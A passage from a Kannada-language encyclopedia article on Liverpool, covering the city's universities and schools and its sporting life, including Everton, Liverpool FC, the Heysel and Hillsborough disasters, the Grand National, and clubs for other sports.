ಕ್ಯಾಂಪಸ್ ಹೊಂದಿತ್ತು. ಲಿವರ್‌ಪೂಲ್ ಸ್ಕೂಲ್ ಆಫ್ ಟ್ರೋಲಿಕಲ್ ಮೆಡಿಸಿನ್, ಇದು ವಾಣಿಜ್ಯ ಸಮಸ್ಯೆಗಳಿಗೆ ಪರಿಹಾರ ನೀಡುವ ಸಲುವಾಗಿ ಸ್ಥಾಪನೆಯಾಯಿತು ಮತ್ತು ಇಂದು ಯುನಿವರ್ಸಿಟಿ ಆಫ್ ಲಿವರ್‌ಪೂಲ್‌ನೊಂದಿಗೆ ಸಂಯುಕ್ತವಾಗಿ ಪದವಿ ನಂತರದ ಶಿಕ್ಷಣ ನೀಡುತ್ತಿದೆ ಮತ್ತು ಮೌಲ್ಯಯುತವಾದ, ಹಗೆತನ ವಿರೋಧಿ ಸಂಪುಟ ಹೊಂದಿರುವ ಅಂತರಾಷ್ಟ್ರೀಯ ಸಂಸ್ಥೆಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ.{{Citation needed|date=February 2007}} ಲಿವರ್‌ಪೂಲ್ ಜಾನ್ ಮೂರಸ್ ವಿಶ್ವವಿದ್ಯಾಲಯವು ಈ ಮೊದಲು ಪಾಲಿಟೆಕ್ನಿಕ್ ಆಗಿತ್ತು ಮತ್ತು 1992 ರಲ್ಲಿ ಮಾನ್ಯತೆ ಗಳಿಸಿತು. ಲಿಟ್ಲ್‌ವುಡ್ಸ್ ಫುಟ್‌ಬಾಲ್ ಪೋಲ್ಸ್ ಮತ್ತು ರಿಟೇಲ್ ಗ್ರೂಪ್‌ನ ಸಂಸ್ಥಾಪಕರಾದ ಮತ್ತು ಸಂಸ್ಥೆಯ ಪೋಷಕರಾದ ಸರ್‍ ಜಾನ್ ಮೂರಸ್ ಅವರ ಹೆಸರಿನಿಂದಲೇ ಈ ವಿಶ್ವವಿದ್ಯಾಲಯವನ್ನು ಹೆಸರಿಸಲಾಗಿದೆ. ಈ ಸಂಸ್ಥೆಯು ಮೊದಮೊದಲು ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್‌ನಿಂದ ಆಡಳಿತ ಮತ್ತು ನಿರ್ವಹಣೆಗೊಳಪಡುತ್ತಿತ್ತು. ಈ ನಗರವು ಲಿವರರಪೂಲ್ ಕಮ್ಯುನಿಟಿ ಕಾಲೇಜ್ ಎಂಬ ಮತ್ತೊಂದು ಶೈಕ್ಷಣಿಕ ಮಹಾವಿದ್ಯಾಲಯವನ್ನು ಹೊಂದಿದೆ. ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್ ಇದು [[ಬರ್ಟೋನ್]] ಮನೋರ್‍, ಮತ್ತು ವ್ಹಿರೋನ್ ಪೆನಿನ್‌ಸುಲಾದಲ್ಲಿನ ಬರ್ಟೋನ್‌ ಹತ್ತಿರದ, ಹಿರಿಯರ ವಸತಿ ಮಹಾವಿದ್ಯಾಲಯವನ್ನು ಕಾರ್ಯಾಚರಿಸುತ್ತದೆ. ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಎರಡು ಜೆವಿಷ್ ಸ್ಕೂಲ್‌ಗಳಿವೆ. ಎರಡೂ ಕಿಂಗ್ ಡೇವಿಡ್ ಫೌಂಡೇಶನ್‌ಗೆ ಸೇರಿದ್ದಾಗಿದೆ. ಕಿಂಗ್ ಡೇವಿಡ್‌ ಸ್ಕೂಲ್, ಲಿವರ್‌ಪೂಲ್‌ಗಳು ಹೈ ಸ್ಕೂಲು ಮತ್ತು ಕಿಂಗ್ ಡೇವಿಡ್ ಪ್ರಾಥಮಿಕ ಶಾಲೆಯಾಗಿದೆ. ಅಲ್ಲಿ ಕಿಂಗ್ ಡೇವಿಡ್ ಕಿಂಗರ್‌ಗಾರ್ಟನ್ ಕೂಡಾ ಇದೆ ಮತ್ತು ಹರಾಲ್ಡ್‌ ಹೌಸ್‌ನ ಸಮುದಾಯ ಕೇಂದ್ರದ ಲಕ್ಷಣ ಹೊಂದಿದೆ. ಈ ಎಲ್ಲಾ ಸ್ಕೂಲ್‌ಗಳು,ಚೈಲ್ಡ್‌ವಾಲ್‌ನಲ್ಲಿನ ಹರಾಲ್ಡ್‌ ಹೌಸ್‌ನ ಆಧಾರದ ಮೇಲಿರುವ ಕಿಂಗ್ ಡೇವಿಡ್ ಫೌಂಡೇಶನ್‌ ಮೂಲಕ ನಡೆಯುತ್ತಿದೆ. ಸಿನಗೋಗ್ ಚೈಲ್ಡ್‌ವಾಲ್‌ ಸಿನಾಗೋಗ್ ನ ನಂತರದ ಬಾಗಿಲಂತೆ ಗುರುತಿಸಬಹುದು. ==ಕ್ರೀಡೆ== [[File:View of inside Anfield Stadium from Anfield Road Stand.jpg|thumb|right|ಆನ್ ಫಿಲ್ಡ್, ಲಿವರ್‌ಪೂಲ್ ಎಫ್.ಸಿಯ ಮೂಲಸ್ಥಳ]] ಎವರ್‌ಟನ್‌ನ [[ಪ್ರೀಮಿಯರ್‌ ಲೀಗ್‌‌|ಪ್ರೀಮಿಯರ್‌ ಲೀಗ್]]ಫುಟ್‌ಬಾಲ್ ಕ್ಲಬ್ ಮತ್ತು ಲಿವರ್‌ಪೂಲ್ ಎಫ್.ಸಿಗೆ, ಲಿವರ್‌ಪೂಲ್ ನಗರವು ತಾಯ್ನೆಲವಾಗಿದೆ. ಲಿವರ್‌ಪೂಲ್ ನಗರವು 1888 ರಲ್ಲಿ ಫುಟ್‌ಬಾಲ್ ಲೀಗ್ ಸ್ಥಾಪನೆಯಾದ ನಂತರದಿಂದ, ಪ್ರತಿ ವರ್ಷವೂ ಫುಟ್‌ಬಾಲ್‌ನ ಉನ್ನತ ವಿಭಾಗವನ್ನು ಹೊಂದಿರುವ ಏಕೈಕ ನಗರವಾಗಿದೆ ಮತ್ತು ಎರಡೂ ನಗರಗಳ ಕ್ಲಬ್‌ಗಳು ಹೆಚ್ಚಿನ ಸಾಮರ್ಥ್ಯದ ಕ್ರೀಢಾಂಗಣದಲ್ಲಿ ಆಟ ಆಡುತ್ತವೆ. ಎವರ್ಟನ್ ಮತ್ತು ಲಿವರ್‌ಪೂಲ್‌ಗಳೆರಡೂ 1992 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾದ ದಿನದಿಂದ ಪ್ರತಿ ವರ್ಷವೂ [[ಪ್ರೀಮಿಯರ್‌ ಲೀಗ್‌‌|ಪ್ರೀಮಿಯರ್‍ ಲೀಗ್]] ಪಂದ್ಯ ಆಡುತ್ತಿವೆ. ಲಿವರ್‌ಪೂಲ್‌ನ ಎರಡು ವೃತ್ತಿಪರ ಫುಟ್‌ಬಾಲ್ ಕ್ಲಬ್‌ಗಳಿಗಿಂತಲೂ ಎವರ್ಟನ್ ಹಳೆಯದಾಗಿದೆ. ಅವುಗಳು 1878ರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾದವು ಮತ್ತು 1892 ರ ವರೆಗೆ ಗುಡಿಸನ್ ಪಾರ್ಕ್‌ನಲ್ಲಿ ಆಡಿದವು. ಯಾವಾಗ ಇವುಗಳು ಆನ್‌ಫೀಲ್ಡ್ ಮೈದಾನದಿಂದ ಸ್ಥಳಾಂತರವಾಯಿತೋ, ಆಗ ಅವುಗಳನ್ನು ಹೊಸ ಲಿವರ್‌ಪೂಲ್ ಕ್ಲಬ್‌ ತೆಗೆದುಕೊಂಡಿತು. ಎವರ್ಟನ್, ಒಂಬತ್ತು ಬಾರಿ ಲೀಗ್ ಛಾಂಪಿಯನ್ ಆಯಿತು ಮತ್ತು ಐದು ಬಾರಿ ಎಫ್ ಎ ಕಪ್ ಹಾಗೂ ಒಂದು ಬಾರಿ ಯುರೋಪಿಯನ್ ಕಪ್ ವಿನ್ನರ್‍ ಆಯಿತು.<ref>[http://www.southportreporter.co.uk/239/southportreporter239-main.shtml ಸೌಥ್‌ ಪೋರ್ಟ್ ರಿಪೋರ್ಟರ್]</ref> ಅದರ ಅತ್ಯಂತ ಯಶಸ್ವಿ ವ್ಯವಸ್ಥಾಪಕರು ಹ್ಯಾರಿ ಕ್ಯಾಟರಿಕ್ ಮತ್ತು ಹೋವಾರ್ಡ್ ಕೆಂಡಾಲ್ ಅವರುಗಳು. ಹಲವು ವಿಶಿಷ್ಟ ಲಕ್ಷಣಗಳ ಆಟಗಾರರು ಎವರ್ಟನ್ ಅಂಗಿಯನ್ನು ಧರಿಸುತ್ತಾರೆ. ಇವರುಗಳು, ಡಿಕ್ಸಿ ಡೀನ್(ಯಾರು ಒಂದೇ ಲೀಗ್‌ನಲ್ಲಿ 60 ಗೋಲ್ ಸಂಪಾದಿಸಿದ್ದಾರೋ ಅವರು),ಟಾಮಿ ಲಾವ್ಟನ್, ಬ್ರೇನ್ ಲಾಬೋನ್, ರೇ ವಿಲ್ಸನ್, ಅಲನ್ ಬಾಲ್ (ಯಾರು 1966 ರಲ್ಲಿ ಇಂಗ್ಲೆಂಡ್ ವಿಶ್ವ ಕಪ್ ಗೆಲ್ಲುವ ಅರ್ಹತೆ ಹೊಂದಿದ್ದಾರೋ ಅವರು), ನೆವಿಲ್ಲೇ ಸೌತ್‌ಹಾಲ್, ಆಂಡಿ ಗ್ರೇ, ಗ್ರೇ ಲೈನ್‌ಕರ್‍, ಆಂಡ್ರೇ ಕಾಂಚೆಲ್ಕಿಸ್, ಡೇವ್ ವ್ಯಾಟ್ಸನ್ ಮತ್ತು [[ವೇಯ್ನ್ ರೂನಿ|ವೇನ್ ರೂನೇ]] ಅವರನ್ನು ಒಳಗೊಂಡಿದೆ. 18 ಲೀಗ್ ಟೈಟಲ್‌ಗಳನ್ನು, ಏಳು ಎಫ್ ಎ ಕಪ್, ಏಳು ಲೀಗ್ ಕಪ್, ಐದು [[ಯುಇಎಫ್ಎ ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್|ಯುರೋಪಿಯನ್ ಕಪ್]]ಮತ್ತು ಮೂರು ಯುಇಎಫ್‌ಎ ಕಪ್‌ಗಳನ್ನು ಗೆಲ್ಲುವುದರ ಮೂಲಕ ಲಿವರ್‌ಪೂಲ್ ಫುಟ್‌ಬಾಲ್ ತಂಡವು ಇಂಗ್ಲಿಷ್ ಫುಟ್‌ಬಾಲ್ ತಂಡದಲ್ಲಿಯೇ ಅತ್ಯಂತ ಯಶಸ್ವಿ ತಂಡಗಳಲ್ಲೊಂದಾಗಿದೆ. ಅವುಗಳು 1892 ರಲ್ಲಿ ಸ್ಥಾಪನೆಗೊಂಡವು ಮತ್ತು ತಮ್ಮ ಪೂರ್ತಿ ಇತಿಹಾಸವನ್ನು, ತಾವು ಹುಟ್ಟುವ ಸಮಯದಲ್ಲೇ ಪಡೆದುಕೊಂಡ ಆನ್‌ಫೀಲ್ಡ್ ಮೈದಾನದಲ್ಲೇ ಕಳೆದವು. ಇದು ಮೊದಲು ಎವರ್ಟನ್‌ ತಂಡಕ್ಕೆ ಮೂಲವಾಗಿತ್ತು. ಈ ಹಿಂದೆ ಇದೇ, ಎವರ್ಟನ್‌ನ ತಾಯ್ನೆಲವಾಗಿತ್ತು. ಲಿರ್‌ಪೂಲ್, 1962 ರ ವರೆಗೆ ನಿರಂತರವಾಗಿ ಇಂಗ್ಲಿಷ್ ಫುಟ್‌ಬಾಲ್‌ನ ತುತ್ತತುದಿಯ ಸ್ಥಾನಮಾನದಲ್ಲಿತ್ತು. ಮತ್ತು ಬಿಲ್‌ ಶಾಂಕ್ಲಿ, ಬೋಬ್ ಪೈಯಸ್‌ಲಿ,ಜೋ ಫಾಗನ್, ಕೆನ್ನಿ ಡಾಲ್ಗ್ಲಿಷ್(ಇವರು ಕ್ಲಬ್‌ನ ತಂಡದಲ್ಲಿ ಆಟಗಾರರೂ ಕೂಡಾ ಆಗಿದ್ದರು), ಗರಂಡ್ ಹೌಲಿಯರ್‍, ರಫೀಲ್ ಬೆನಿಟೆಝ್ ಮತ್ತು ರೋಯ್ ಹೋಡ್ಸನ್ ಅವರುಗಳಿಂದ ನಿರ್ವಹಿಸಲ್ಪಟ್ಟಿತ್ತು. ಪ್ರಸಿದ್ದ ಲಿವರ್‌ಪೂಲ್ ಆಟಗಾರರು,ಬಿಲ್ಲಿ ಲಿಡ್ಡೆಲ್, ಇಯಾನ್ ಸೇಂಟ್ ಜಾನ್, ರೋಜರ್ ಹಂಟ್, ರೋನ್ ಯೀಟ್ಸ್, ಎಮ್ಲಿನ್ ಹ್ಯೂಜಸ್, ಕೆವಿನ್ ಕೀಗನ್, ಇಯಾನ್ ರಶ್, ಗ್ರೀಮ್ ಸೌನೆಸ್, ರೋಬ್ಬೀ ಫೌಲರ್‍,ಮತ್ತು [[ಸ್ಟಿವನ್ ಗೆರಾರ್ಡ್|ಸ್ಟೆವನ್ ಗೆರಾರ್ಡ್]] ಅವರುಗಳನ್ನು ಒಳಗೊಂಡಿತ್ತು. ಆದಾಗಿಯೂ ಕ್ಲಬ್, 1985 ರಲ್ಲಿ ಒಂದು ದುರ್ಘಟನೆಗೆ ಸಾಕ್ಷಿಯಾಯಿತು. ಬೆಲ್ಜಿಯಮ್‌ನ [[ಬ್ರಸೆಲ್ಸ್|ಬ್ರುಸ್ಸೆಲ್‌]]ನ ಹೇಸೆಲ್ ಮೈದಾನದಲ್ಲಿ, ಯುರೊಪಿಯನ್ ಕಪ್ ಫೈನಲ್ ಪಂದ್ಯ ನಡೆಯುತ್ತಿರುವ ಸಂಧರ್ಭದಲ್ಲಿ ಕ್ರೀಢಾಂಗಣದ ಮೇಲ್ಗಟ್ಟಿನಲ್ಲಿ ಕುಳಿತು ಪಂದ್ಯ ವೀಕ್ಷಿಸುತ್ತಿದ್ದ 39 ವೀಕ್ಷಕರ ದುರ್ಮರಣ ನಡೆಯಿತು.(ಅವರೆಲ್ಲರೂ ಕೂಡಾ ಜೆವೆಂಟಸ್ ಬೆಂಬಲಿಗರಾಗಿದ್ದರು) ಮತ್ತು ಇದರಿಂದಾಗಿ ಎಲ್ಲಾ ಇಂಗ್ಲಿಷ್ ಕ್ಲಬ್‌ಗಳನ್ನು ಮುಂದಿನ ಐದು ವರ್ಷಗಳಿಗಾಗಿ ಯುರೋಪಿಯನ್ ಸ್ಪರ್ಧೆಗಳಲ್ಲಿ ಆವೃತಗೊಳಿಸಲಾಯಿತು. (ಲಿವರ್‌ಪೂಲ್ ತಂಡವು ಇನ್ನೊಂದು ವರ್ಷದವರೆಗೆ ಕಾಯಬೇಕಾಯಿತು ಮತ್ತು ಉಳಿದ ಇಂಗ್ಲಿಷ್ ಕ್ಲಬ್‌ಗಳು ಪುನಃ ಸೇರಿಸಲ್ಪಟ್ಟವು). ನಾಲ್ಕು ವರ್ಷದ ನಂತರ 94 ಲಿವರ್‌ಪೂಲ್ ಅಭಿಮಾನಿಗಳು, ಶೆಫೀಲ್ಡ್‌ನಲ್ಲಿನ ಹಿಲ್ಸ್‌ಬೊರೋ ಮೈದಾನದಲ್ಲಿ ನಡೆಯುತ್ತಿದ್ದ ಎಫ್ ಎ ಕಪ್ ಫೈನಲ್ ಪಂದ್ಯದ ವೇಳೆಯಲ್ಲಿ ನುಜ್ಜುಗುಜ್ಜಾಗಿ ಸಾವನ್ನಪ್ಪಿದರು. ಈ ದುರಂತವು, 1990 ರ ಮಧ್ಯಭಾಗದಲ್ಲಿ ಉನ್ನತ ವಿಭಾಗದ ಮೈದಾನದಲ್ಲಿನ ನಿಂತುಕೊಂಡು ವೀಕ್ಷಿಸುವ ಎತ್ತರದ ಮೇಲ್ಗಟ್ಟುಗಳನ್ನು ನಿಷೇಧಿಸುವ ಶೀಪಾರಸ್ಸಿನ ವರದಿಯನ್ನು ಟೇಲರ್‌ ಅವರು ಸಲ್ಲಿಸಲು ಕಾರಣವಾಯಿತು. [[File:3rd Hole, Open 2006.jpg|thumb|left|ದಿ ರಾಯಲ್ ಲಿವರ್‌ಪೂಲ್ ಗಾಲ್ಫ್ ಕ್ಲಬ್, ಹೊಯ್‌ಲೇಕ್]] ಇಪ್ಪತ್ತೊಂದನೇ ಶತಮಾನ ಪ್ರಾರಂಭವಾಗುವ ಹೊತ್ತಿಗೆ ಎರಡೂ ಲಿವರ್‌ಪೂಲ್ ಆಧಾರದ ಕ್ಲಬ್ಬುಗಳು ಹೊಸ ಮೈದಾನಕ್ಕೆ ಸ್ಥಳಾಂತರಗೊಂಡವು. ಲಿವರ್‌ಪೂಲ್, ಕೆಲವು ವರ್ಷಗಳಿಗಾಗಿ ಸ್ಟಾನ್‌ಲೇ ಪಾರ್ಕ್ ಬಳಿ ಹೊಸ ಕ್ರೀಡಾಂಗಣ ರಚಿಸುವ ಬಗ್ಗೆ ಯೋಜನೆ ಹಾಕಿತು. ಅದೇ ಸಮಯದಲ್ಲಿ ಎವರ್ಟನ್, ಕಿಂಗ್ ಡೊಕ್‌‍ನ ಆರ್ಥಿಕ ಸಂಕಷ್ಟದಿಂದ ಅದನ್ನು ಸ್ಥಾನಪಲ್ಲಟಗೊಳಿಸುವ ಯೋಜನೆ ಜಾರಿಯಲ್ಲಿದ್ದ ಸಂಧರ್ಭದಲ್ಲಿ, ಕಿರ್ಕ್‌ಬೈನಲ್ಲಿ ಹೊಸ ಮೈದಾನ ರಚಿಸುವುದಕ್ಕಾಗಿ ಸ್ಥಳ ಶೋಧನೆಯಲ್ಲಿತ್ತು. 2007ರಲ್ಲಿ ನಗರಕ್ಕೆ,ಎವರ್ಟನ್ ಟೈಗರ್‍ ತಂಡದ ಪ್ರವೇಶದೊಂದಿಗೆ ವೃತ್ತಿಪರ [[ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್‌|ಬಾಸ್ಕೆಟ್‌ಬಾಲ್‌]]ನ ಆಗಮನವಾಯಿತು. ಎವರ್ಟನ್ ಟೈಗರ್‍ ತಂಡವನ್ನು ಈಗ ಮೆರ್ಸೆ ಟೈಗರ್‍ ಎಂದು ಗುರುತಿಸುತ್ತಾರೆ. ಪ್ರಪ್ರಥಮವಾಗಿ ಈ ತಂಡ ಅತ್ಯುನ್ನತ ಬ್ರಿಟಿಷ್ ಬಾಸ್ಕೆಟ್ ಬಾಲ್ ಲೀಗ್ ಆಡಿತು. ಕ್ಲಬ್ಬು ವಾಸ್ತವವಾಗಿ ಎವರ್ಟನ್ ಎಫ್ ಸಿ ಯೊಂದಿಗೆ ಸಹಯೋಗ ಹೊಂದಿತ್ತು ಮತ್ತು ''ಟೋಕ್ಸ್‌ಟೆಥ್ ಟೈಗರ್‌'' ಗಳ ಯುವಜನ ಅಭಿವೃದ್ದಿ ಯೋಜನೆಯಲ್ಲಿನ ಒಂದು ಭಾಗವಾಗಿತ್ತು. ಈ ಕಾರ್ಯಕ್ರಮವು ಪ್ರತಿ ವರ್ಷವೂ 1,500 ಯುವ ಜನರನ್ನು ತಲುಪುತ್ತಿತ್ತು.<ref name="Tigers">{{Cite web|url=http://www.uktvslam.tv/page/SlamLogin/BBLNews/0,,10023~1054720,00.html|title=Liverpool Toxteth Tigers website|accessdate=2008-05-02}}</ref> 2007–08 ನೇ ಸಾಲಿನಲ್ಲಿ ಟೈಗರ್‌ಗಳು, ಹೊಸದಾಗಿ ರಚಿಸಲಾದ ಎಖೋ ಅರೇನಾದಲ್ಲಿ ಆಡುವ ಮೊದಲು, ಗ್ರೀನ್‌ಬ್ಯಾಂಕ್ ಸ್ಪೋರ್ಟ್ಸ್ ಅಕ್ಯಾಡೆಮಿಯಲ್ಲಿ ಬ್ರಿಟನ್ ಟಾಪ್ ಲೀಗ್ ಆಡಿದವು. 2009–10 ನೇ ಸಾಲಿನ ನಂತರ ಎವರ್ಟನ್‌ ಎಫ್ ಸಿ ಯು, ಟೈಗರ್‌ಗಳಿಂದ ಪಡೆಯುತ್ತಿದ್ದ ಧನಸಹಾಯವನ್ನು ಹಿಂಪಡೆಯಿತು ಮತ್ತು ನಂತರ ತನ್ನ ಹೆಸರನ್ನು ಮೆರ್ಸೆ ಟೈಗರ್ಸ್ ಎಂಬುದಾಗಿ ಬದಲಾಯಿಸಿಕೊಂಡಿತು. ಅವುಗಳ ಸಮೀಪದ ವೃತ್ತಿಪರ ಸ್ಪರ್ಧಿಗಳೆಂದರೆ, ಛೆಸ್ಟರ್‌ನ ಆಚೆಗಿರುವ ಛೆಸ್ಟರ್‍ ಜೆಟ್ಸ್ ತಂಡವಾಗಿದೆ.{{convert|18|mi|km}} ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ದೇಶೀಯ ಕ್ರಿಕೆಟ್ ಪಂದ್ಯವು ಲಾನ್‌ಶೈರ್‍ ಕ್ರಿಕೆಟ್ ಕ್ಲಬ್ ಜೊತೆಗೆ ಆಗಾಗ ಆಡಲ್ಪಡುತ್ತವೆ. ಲಾನ್‌ಶೈರ್‍ ಕ್ರಿಕೆಟ್ ಕ್ಲಬ್, ಸಾಂಪ್ರದಾಯಿಕವಾಗಿ ಪ್ರತಿವರ್ಷ ಐಗ್‌ಬರ್ತ್‌‌ನಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ ಕ್ರಿಕೆಟ್ ಕ್ಲಬ್‌ನೊಂದಿಗೆ ಪಂದ್ಯ ಎದುರಿಸುತ್ತದೆ. ಸೆಪ್ಟೋನ್‌ನ ನೆರೆಯ ಪೌರಗ್ರಾಮವಾದ ಲಿವರ್‌ಪೂಲ್‌ನ ಉತ್ತರಕ್ಕಿರುವ ಐನ್‌ಟ್ರೀ ರೇಸ್‌ಕೋರ್ಸ್ ಸ್ಥಳವು ಪ್ರಸಿದ್ದ ಕುದುರೆ ಓಟದ ಪಂದ್ಯ,ಗ್ರಾಂಡ್ ನ್ಯಾಶನಲ್ ಪಂದ್ಯಗಳಿಗೆ ತಾಯ್ನೆಲವಾಗಿದೆ. ಇದು ಪ್ರತಿ ವರ್ಷ ಎಪ್ರಿಲ್‌ ತಿಂಗಳಿನಲ್ಲಿ ನಡೆಯುವ ಪ್ರಸಿದ್ದ ಅಂತರಾಷ್ಟ್ರೀಯ ಕುದುರೆ ಓಟದ ಪಂದ್ಯ ಸ್ಥಳವಾಗಿರುತ್ತದೆ. ಕುದುರೆ ರೇಸಿಗೆ ಹೊರತಾಗಿ,1950 ಮತ್ತು 1960ರ ಬ್ರಿಟಿಷ್ ಗ್ರಾಂಡ್ ಪ್ರಿಕ್ಸ್ ಒಳಗೊಂಡು, ವಾಹನಗಳ ರೇಸು(ಓಟದ ಪಂದ್ಯ) ಕೂಡಾ ಆಯೋಜನೆಗೊಂಡಿರುತ್ತದೆ. [[File:Earl of Derby Stand and Aintree Racecourse.JPG|thumb|right|ದಿ ಅರ್ಲ್ ಆಪ್‌ ಡರ್ಬಿ ಸ್ಟ್ಯಾಂಡ್‌- ಏನ್‌ಟ್ರೀ ರೇಸ್‌ಕೋರ್ಸ್; ಗ್ರ್ಯಾಂಡ್‌ ನ್ಯಾಷನಲ್‌ನ ಮೂಲ]] ವ್ಹೇವರ್‌ಟ್ರೀ ಅಥ್ಲೆಟಿಕ್ ಸೆಂಟರ್‌ನ ಭೇಟಿ ಮಾಡಿದ, ಲಿವರ್‌ಪೂಲ್ ಹ್ಯಾರಿಸ್ ಕೂಡಾ ಒಂದು ಅಥ್ಲೆಟಿಕ್ ಕ್ಲಬ್ ಆಗಿದೆ. ಲಿವರ್‌ಪೂಲ್, ಬಾಕ್ಸಿಂಗ್‌ನಲ್ಲಿ ಸುದೀರ್ಘ ಇತಿಹಾಸವನ್ನು ಹೊಂದಿದ್ದು, ಅದರಲ್ಲಿ ಜಾನ್ ಕೋಂಟೆ, ಅಲಾನ್ ರುಡ್‌ಕಿನ್ ಮತ್ತು ಪೌಲ್ ಹೋಡ್ಕಿನ್‌ಸನ್ ಅವರುಗಳು ಉನ್ನತ ಪರಿಣಿತಿ ಹೊಂದಿ ಉತ್ತಮ ಪ್ರದರ್ಶನ ನೀಡಿರುವ ಬಾಕ್ಸರ್‌ಗಳಾಗಿದ್ದಾರೆ. ಪಾರ್ಕ್ ರೋಡ್ ಜಿಮ್ನಾಸ್ಟಿಕ್ ಕೇಂದ್ರವು ಉನ್ನತ ಮಟ್ಟದ ತರಬೇತಿಯನ್ನು ಒದಗಿಸುತ್ತದೆ. ದಿ ಸಿಟಿ ಆಫ್ ಲಿವರ್‌ಪೂಲ್ ಸ್ವಿಮ್ಮಿಂಗ್ ಕ್ಲಬ್ಬು ಕಳೆದ 11 ವರ್ಷಗಳಲ್ಲಿ 8, ರಾಷ್ಟ್ರೀಯ ಸ್ಪೀಡೋ ಲೀಗ್ ಛಾಂಪಿಯನ್ ಪಂದ್ಯವನ್ನು ಗೆದ್ದಿವೆ. ಲಿವರ್‌ಪೂಲ್ ಟೆನ್ನಿಸ್ ಅಭಿವೃದ್ದಿ ಕಾರ್ಯಕ್ರಮವು ಯುಕೆಯಲ್ಲಿಯೇ ಅತಿದೊಡ್ಡದಾದ ವ್ಹೇವರ್‌ಟ್ರೀ ಟೆನ್ನಿಸ್ ಸೆಂಟರ್‌ನ ಮೂಲವನ್ನು ಹೊಂದಿದೆ.<ref name="development">{{Cite web|url=http://sportsdevelopment.liverpool.gov.uk/index.asp|title=Liverpool Sports Development website|accessdate=2007-04-23|archive-date=2007-02-07|archive-url=https://web.archive.org/web/20070207084915/http://sportsdevelopment.liverpool.gov.uk/index.asp|url-status=dead}}</ref> ರೆಡ್ ಟ್ರೈಯಾಂಗಲ್ ಕರಾಟೆ ಕ್ಲಬ್‌ಗೆ ಕೂಡಾ ಲಿವರ್‌ಪೂಲ್ ತಾಯ್ನೆಲವಾಗಿದೆ. ರೆಡ್ ಟ್ರೈಯಾಂಗಲ್ ಕರಾಟೆ ಕ್ಲಬ್‌, ಇದು 1990 ರಲ್ಲಿ ಹಲವಾರು ಪಟ್ಟುಗಳ ಕುರಿತು ಕೊಡುಗೆ ನೀಡಿದೆ ಮತ್ತು ಸಂಡರ್‌ಲ್ಯಾಂಡ್‌ನಲ್ಲಿ ವಿಶ್ವ ಶೊಟೊಕನ್ ಛಾಂಪಿಯನ್‌ಶಿಪ್ ಜಯಗಳಿಸಿದೆ. ಲುಮಿನರೀಸ್‌ಗಳು; ಸೆನ್ಸೀ ಕೆನೋಸ್ಯೂಕ್ ಎನೋಡಾ, ಸೆನ್ಸೀ ಫ್ರಾಂಕ್ ಬ್ರೆನ್ನನ್, ಸೆನ್ಸೀ ಓರ್ಮಿ ವ್ಹೀಸ್, ಸೆನ್ಸೀ ಡೆಕೆಲ್ ಕೆರೆರ್‍, ಸೆನ್ಸೀ ಆಂಡಿ ಶೆರ್ರೀಸ ಮತ್ತು ಸೆನ್ಸೀ ಟೆರ್ರೀೋ ಓನಿಯಲ್ ಅವರುಗಳನ್ನು ಒಳಗೊಂಡಿದ್ದು, ಇವರೆಲ್ಲರೂ ತಮ್ಮ ವಿವಿಧ ಪಾತ್ರ ನಿರ್ವಹಣೆಗಾಗಿ ಪ್ರಸಿದ್ದರಾಗಿದ್ದಾರೆ. ರುಗ್‌ಬೈ ಲೀಗ್ ಪಂದ್ಯವನ್ನು ವಿದ್ಯಾರ್ಥಿಗಳಿಗಾಗಿ ಮತ್ತು ಹವ್ಯಾಸಿ ಜನರಿಗಾಗಿ ನಗರದಲ್ಲೇ ಏರ್ಪಡಿಸಲಾಯಿತು. ವೃತ್ತಿಪರ ತಂಡಗಳ ಕೊನೆಯ ಹೆಸರು ಲಿವರ್‌ಪೂಲ್ ನಗರದ ಹೆಸರಿನೊಂದಿಗೆ ಸಂಯೋಜಿಸಲ್ಪಟ್ಟಿವೆ. ಇದು 1960 ರಿಂದಲೇ ಸಾಮಾನ್ಯವಾಗಿರುತ್ತದೆ. ರಗ್ಬಿ ಯೂನಿಯನ್, 1857 ರಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ ಫುಟ್‌ಬಾಲ್ ಕ್ಲಬ್‌ ಸ್ಥಾಪನೆಯಾದಂದಿನಿಂದಲೇ ನಗರದಲ್ಲಿ ದೀರ್ಘ ಇತಿಹಾಸವನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ವಿಶ್ವದಲ್ಲಿಯೇ ಅತಿ ಹಳೆಯದಾದ ಕಾಲ್ಚೆಂಡು ತಂಡವಾಗಿ ಪರಿಣಮಿಸಿದೆ. ಅವುಗಳು 1986 ರಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್ ಸೇಂಟ್ ಹೆಲೆನ್ಸ್‌ ನಿಂದ ಸೇಂಟ್ ಹೆಲೆನ್ಸ್ ಆರ್‌ಯುಎಫ್‌ಸಿ ಯೊಂದಿಗೆ ವಿಲೀನಗೊಂಡಿತು.<ref>{{Cite web|url=http://www.liverpoolsthelensrugby.co.uk/page9.html|title=A Brief History of Liverpool St Helens|accessdate=2008-09-08|archive-date=2009-02-23|archive-url=https://web.archive.org/web/20090223144711/http://www.liverpoolsthelensrugby.co.uk/page9.html|url-status=dead}}</ref> ಸೆಪ್ಟೋನ್‌ನ ಬ್ಲಂಡೆಲ್‌ಸ್ಯಾಂಡ್ಸ್‌ನಲ್ಲಿ ವ್ಹಾಟರ್‌ಲೂ ರಗ್ಬಿ ಕ್ಲಬ್ ಅಸ್ಥಿತ್ವದಲ್ಲಿದೆ. ಇದು 1882 ರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾಗಿದ್ದು, ಈಗ 2 ನೇ ಉತ್ತರದಲ್ಲಿ ರಾಷ್ಟ್ರಿಯ ಲೀಗ್ ಪಂದ್ಯ ಆಡುತ್ತಿದೆ. ಲಿವರ್‌ಪೂಲ್, ಮೂರು ಮುಖ್ಯ ನಗರಗಳಲ್ಲಿ ಒಂದಾಗಿದ್ದು, ಈಗಲೂ ಸಾಂಪ್ರದಾಯಿಕ 